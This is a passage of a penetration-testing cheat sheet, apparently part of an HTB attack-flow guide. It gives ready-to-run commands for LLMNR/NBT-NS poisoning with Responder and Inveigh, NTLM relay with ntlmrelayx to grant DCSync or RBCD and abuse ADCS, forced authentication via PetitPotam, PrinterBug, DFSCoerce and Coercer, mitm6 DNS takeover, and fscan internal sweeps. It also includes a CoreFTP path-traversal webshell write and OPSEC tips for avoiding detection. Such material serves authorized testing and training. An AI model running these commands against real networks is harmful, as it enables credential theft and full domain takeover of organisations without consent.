    970   --path-as-is "https://$IP/../../../../inetpub/wwwroot/x.php"
    971 ```
    972 
    973 > [!warning] Watch out Always `binary` before uploading a webshell/DB. Bounce only works on un-hardened daemons — a hit is both a reportable misconfig *and* a pivot into an otherwise-unreachable segment. `--path-as-is` is mandatory for the CoreFTP write or curl collapses the `../` itself. Deep dive: 5 - Attacking FTP.
    974 
    975 ---
    976 
    977 ### ⚡ No-Credential Foothold — Poison & Relay
    978 
    979 **What to look for** → SMB null/anon is blocked, no web creds, but you're on the internal subnet. This is the zero-credential on-ramp: make a victim authenticate *to you* (poison or coerce), then either crack the NetNTLMv2 or relay it live to a service that isn't signing. STAGE 3's SMB scan already told you *who's relayable* — the `signing:False` rows. MITRE [T1557.001 Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001/) + [T1040 Network Sniffing](https://attack.mitre.org/techniques/T1040/).
    980 
    981 **Find relay targets first** (signing disabled = relayable)
    982 ```bash
    983 # hunt the whole subnet for SMB signing:False → the only hosts you can relay TO
    984 nxc smb $IP/24 --gen-relay-list relay.txt          # note the exact spelling: --gen-relay-list
    985 cat relay.txt
    986 ```
    987 
    988 **Poison — [Responder](https://github.com/lgandx/Responder)** (LLMNR / NBT-NS / mDNS)
    989 ```bash
    990 # 1. LISTEN FIRST (Analyze mode) — see who's broadcasting before you answer anything
    991 sudo responder -I tun0 -A
    992 
    993 # 2. Poison + capture NetNTLMv2 (WPAD on, verbose). Leave it running.
    994 sudo responder -I tun0 -wv
    995 #    hashes land in /usr/share/responder/logs/  →  crack in STAGE 8:
    996 hashcat -m 5600 responder-hash.txt rockyou.txt        # NetNTLMv2
    997 ```
    998 > [!warning] Watch out
    999 > If you're going to **relay** instead of crack, turn Responder's own SMB + HTTP servers **OFF** first (`/etc/responder/Responder.conf` → `SMB = Off`, `HTTP = Off`) or it steals the auth ntlmrelayx wants. Responder captures are **NetNTLMv2** (`-m 5600`) — these are *not* pass-the-hashable, only crackable. Deep dive: 🔴 Attack.
   1000 
   1001 > [!danger] Detection — poisoning & relay
   1002 > Responder answering every LLMNR/NBNS broadcast is **loud**: it appears in EDR network dashboards, Windows Defender alerts ("network spoofing"), and any LLMNR-monitoring Sigma rule within minutes. Relayed auths leave **4624 type 3** logons from an *unexpected source IP* (yours) on the victim services, and coercion→relay chains generate **4769** TGS requests from machine accounts against unusual SPNs. Expect a mature SOC to catch a full-noise Responder run; time-box it and prefer targeted poisoning (single interface, `-A` first) on real engagements.
   1003 
   1004 **Relay — ntlmrelayx** (turn captured auth into action, no cracking; part of [impacket](https://github.com/fortra/impacket))
   1005 ```bash
   1006 # SMB relay → interactive shell / command / SOCKS pivot
   1007 ntlmrelayx.py -tf relay.txt -smb2support -i                        # -i = interactive SMB client on 127.0.0.1
   1008 ntlmrelayx.py -tf relay.txt -smb2support -c 'whoami'               # one-shot command
   1009 ntlmrelayx.py -tf relay.txt -smb2support -socks                    # queue sessions, use via proxychains
   1010 
   1011 # LDAP relay → escalate the victim (auto-adds DCSync rights), or dump the good stuff
   1012 ntlmrelayx.py -t ldap://$DC  -smb2support --escalate-user "$U"     # grants low_user Repl-Get-Changes-All
   1013 ntlmrelayx.py -t ldaps://$DC -smb2support --dump-adcs --dump-laps  # cert templates + LAPS in one pass
   1014 ntlmrelayx.py -t ldaps://$DC -smb2support --shadow-credentials --shadow-target 'TARGET$'
   1015 ntlmrelayx.py -t ldaps://$DC -smb2support --delegate-access        # RBCD onto the relayed machine
   1016 ```
   1017 > [!tip] Coerce instead of wait
   1018 > Don't sit hoping someone browses a bad name — **force** a machine (often the DC) to auth to you, then relay it. All of these feed the ntlmrelayx lines above:
   1019 > ```bash
   1020 > python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC      # MS-EFSRPC (unauth variant on unpatched)
   1021 > printerbug.py "$DOMAIN"/"$U":"$P"@$DC $LHOST              # MS-RPRN spooler
   1022 > dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC      # MS-DFSNM (works on patched-PetitPotam DCs)
   1023 > coercer coerce -u "$U" -p "$P" -d "$DOMAIN" -l $LHOST -t $DC   # all-in-one, tries every method
   1024 > ```
   1025 > Coerced DC auth relayed to **LDAPS → RBCD/DCSync**, or to **ADCS ESC8** ([Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse)), is a full domain takeover from one low-priv account. Deep dives: 🔴 Attack · 🔷 Attack.
   1026 
   1027 **mitm6** — IPv6 DHCPv6 takeover → LDAP relay (beats Responder in hardened nets; [mitm6](https://github.com/dirkjanm/mitm6))
   1028 ```bash
   1029 # Terminal 1: become the network's IPv6 DNS. Fires on every boot — no LLMNR needed.
   1030 sudo mitm6 -d "$DOMAIN" --no-ra
   1031 # Terminal 2: relay the WPAD auth to LDAPS and grant RBCD. -6 and -wh are MANDATORY.
   1032 ntlmrelayx.py -6 -t ldaps://$DC -wh fakewpad.$DOMAIN -smb2support --delegate-access
   1033 ```
   1034 > [!warning] Watch out
   1035 > mitm6 without `-6` (IPv6 mode) and `-wh <wpad-host>` on ntlmrelayx will **silently catch nothing** — the IPv6 WPAD auth never gets relayed. mitm6 is loud (poisons the whole segment's DNS) and time-boxed — run it, catch a boot/logon, kill it. Deep dive: 🔴 Attack.
   1036 
   1037 ---
   1038 
   1039 ### 🔁 NTLM & Kerberos Relay — full target/technique matrix
   1040 
   1041 Beyond the basic relay block: the decision matrix for *where* a captured/coerced auth can go, and the escalation modes of `ntlmrelayx`. Deep dive: NTLM-Kerberos-Relay-Cheatsheet.
   1042 
   1043 **When relay works — pick the sink by what's not hardened**
   1044 
   1045 | Target service | Relayable when | Payoff |
   1046 | :-- | :-- | :-- |
   1047 | SMB | signing **not required** | SAM dump, `-c` exec, `-i`/`-socks` session |
   1048 | LDAP / LDAPS | signing / channel-binding gaps | `--escalate-user` (DCSync), `--shadow-credentials`, `--delegate-access` (RBCD) |
   1049 | HTTP (ADCS web-enroll) | no EPA/CBT | `--adcs` → DC/user cert = domain (ESC8) |
   1050 
   1051 ```bash
   1052 nxc smb $IP/24 --gen-relay-list relay.txt      # signing:False hosts only — blind -t against signed SMB wastes coerces
   1053 ```
   1054 
   1055 **Escalation modes (LDAP/LDAPS sink)**
   1056 ```bash
   1057 ntlmrelayx.py -tf relay.txt -smb2support -socks                       # queue sessions → proxychains after
   1058 ntlmrelayx.py -t ldaps://$DC -smb2support --escalate-user "$U"        # auto-adds Repl-Get-Changes-All → DCSync
   1059 ntlmrelayx.py -t ldaps://$DC -smb2support --shadow-credentials --shadow-target 'TARGET$'
   1060 ntlmrelayx.py -t ldaps://$DC -smb2support --delegate-access           # RBCD onto the relayed machine account
   1061 ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
   1062 ```
   1063 
   1064 > [!warning] Watch out
   1065 > - **Port clash:** Responder and `ntlmrelayx` both grab 445/80 — either disable `SMB`/`HTTP` in `Responder.conf` or run `ntlmrelayx --no-smb-server`.
   1066 > - **Kerberos-only / NTLM disabled** → relay is dead. Pivot to RBCD / ADCS / ticket abuse (STAGE 5–7). But LLMNR poisoning still yields NetNTLMv2 for `hashcat -m 5600` even when signing blocks the relay.
   1067 > - Some LDAP modes one-shot the session — use `--keep-relaying` or re-coerce. Guard the `-socks` port; it's a reusable pivot.
   1068 > - Captured hashes go to [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) for cracking; successful relay chains continue in [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot).
   1069 
   1070 ---
   1071 
   1072 ### 🎯 Coercion Toolbox — which RPC bug when
   1073 
   1074 **What to look for** → a DC or server you can *force* to authenticate to your listener (`rpcdump.py $IP` shows which interfaces exist). Each method abuses a different RPC interface with different patch status and filtering. MITRE [T1187 Forced Authentication](https://attack.mitre.org/techniques/T1187/).
   1075 
   1076 > [!tools] Stage this
   1077 > [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256) · [GPG signature](/downloads/pentest-workflow/PetitPotam.py.sha256.asc))
   1078 
   1079 **Method selection:**
   1080 
   1081 | Method | Interface | Works when | Link |
   1082 | :-- | :-- | :-- | :-- |
   1083 | PetitPotam | MS-EFSRPC | Unpatched = **unauthenticated** DC coerce; patched still works with any domain cred unless EFS RPC filters applied | [topotam/PetitPotam](https://github.com/topotam/PetitPotam) |
   1084 | PrinterBug / SpoolSample | MS-RPRN | Spooler service running (usually workstations; check `rpcdump \| grep spoolsv`) | [leechristensen/SpoolSample](https://github.com/leechristensen/SpoolSample) |
   1085 | DFSCoerce | MS-DFSNM | DFS Namespace service — the classic fallback when PetitPotam is patched | [Wh04m1001/DFSCoerce](https://github.com/Wh04m1001/DFSCoerce) |
   1086 | ShadowCoerce | MS-FSRVP | File Server VSS agent enabled (rarer, but unpatched on many servers) | [ShutdownRepo/ShadowCoerce](https://github.com/ShutdownRepo/ShadowCoerce) |
   1087 | Coercer | all of the above | one tool tries every method & protocol path | [p0dalirius/Coercer](https://github.com/p0dalirius/Coercer) |
   1088 
   1089 ```bash
   1090 # staged target (listener $LHOST, coerce $DC):
   1091 python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC
   1092 python3 PetitPotam.py $LHOST $DC                       # unauth attempt on pre-patch DCs
   1093 dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC
   1094 shadowcoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $DC
   1095 coercer coerce -u "$U" -p "$P" -d "$DOMAIN" -l $LHOST -t $DC          # try everything
   1096 coercer scan  -u "$U" -p "$P" -d "$DOMAIN" -t $DC                     # scan-only: which methods answer
   1097 ```
   1098 
   1099 **OPSEC / pitfalls:**
   1100 > [!warning] Watch out
   1101 > - Start `ntlmrelayx` (or Responder in capture-only) **before** coercing — a coerce with no listener wastes the attempt and still logs.
   1102 > - Server 2022+ and patched 2016/2019 block unauthenticated PetitPotam; **any domain cred** revives most methods unless RPC interface filters (e.g., the EFS filters Microsoft recommends) are deployed.
   1103 > - WebClient (WebDAV) service on the coerced host = HTTP coerce → relays to ADCS/ESC8 ([Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse)). Check with `nxc smb $IP -u "$U" -p "$P" -M webdav`.
   1104 > - Coercion generates **4624 type 3** from the target machine account to your box and **4769** service-ticket requests downstream — on monitored nets, one coerced DC auth is a high-severity alert.
   1105 
   1106 ---
   1107 
   1108 ### 🪟 Inveigh — poison from *inside* a Windows foothold
   1109 
   1110 **What to look for** → you have a shell on an internal Windows host but your Linux attack box can't reach that broadcast domain. Inveigh is the Windows-native Responder — poison LLMNR/NBT-NS/mDNS from the compromised host itself and capture NetNTLMv2 from the internal position. ([Inveigh](https://github.com/Kevin-Robertson/Inveigh))
   1111 
   1112 > [!tools] Stage this
   1113 > [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/Inveigh.ps1.sha256.asc))
   1114 
   1115 ```powershell
   1116 # PowerShell build — capture on the internal segment
   1117 Import-Module .\Inveigh.ps1
   1118 Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -LLMNR Y
   1119 # useful knobs:
   1120 #   -IP <ip>            bind a specific interface
   1121 #   -FileOutput Y       write hashes/cleartext to files
   1122 #   -HTTPreply          custom HTTP bait response
   1123 Get-Inveigh            # view captured hashes/creds so far
   1124 Stop-Inveigh           # clean shutdown
   1125 # hashes → crack on the Linux box with hashcat -m 5600 (STAGE 8), or relay if you can route it
   1126 ```
   1127 > [!tip] This complements the Responder/mitm6/ntlmrelayx block, which only poisons from *your* interface. Deep dive: 8 - Post-Exploitation & Pillaging.
   1128 
   1129 > [!warning] Watch out Inveigh needs local admin (raw sockets) and is signatured — prefer `Invoke-Inveigh` in-memory via your C2's `powershell-import` equivalent over touching disk. LLMNR spoofing from a workstation is exactly what Defender for Identity watches for.
   1130 
   1131 ---
   1132 
   1133 ### 🧹 Internal Sweep from a Foothold — fscan
   1134 
   1135 **What to look for** → you've landed on one internal host and need the whole segment mapped *fast*: live hosts, open services, web titles, weak SMB/SSH/MSSQL/Redis creds, MS17-010, and brute-able services — in one Windows-native binary. ([fscan](https://github.com/shadow1ng/fscan))
   1136 
   1137 > [!tools] Stage this
   1138 > [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256.asc))
   1139 
   1140 ```powershell
   1141 # full default sweep of the segment (ports, services, web titles, weak creds)
   1142 .\fscan_windows_x64.exe -h 192.168.1.0/24
   1143 # fast host discovery + top ports only
   1144 .\fscan_windows_x64.exe -h 192.168.1.0/24 -np -p 21,22,80,445,1433,3306,3389,5985,6379
   1145 # skip ping (noisy ICMP), skip brute, just enumerate
   1146 .\fscan_windows_x64.exe -h 192.168.1.0/24 -np -nobr
   1147 # output to file for exfil
   1148 .\fscan_windows_x64.exe -h 192.168.1.0/24 -o result.txt
   1149 ```
   1150 
   1151 > [!warning] Watch out fscan is an *all-in-one* — its default run includes brute-force modules that will hammer lockout thresholds and light up every IDS on the segment. On monitored networks always run `-np -nobr` first, then target modules (`-m smb`, `-m ms17010`) at specific hosts. Results feed target selection for [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot).
   1152 
   1153 ---
   1154 
   1155 > [!navigation] Continue the attack flow
   1156 > **Previous:** [Foothold Toolkit — Shells, Payloads, and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit)
   1157 >
   1158 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
   1159 >
   1160 > **Next:** [Stage 04 — Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration)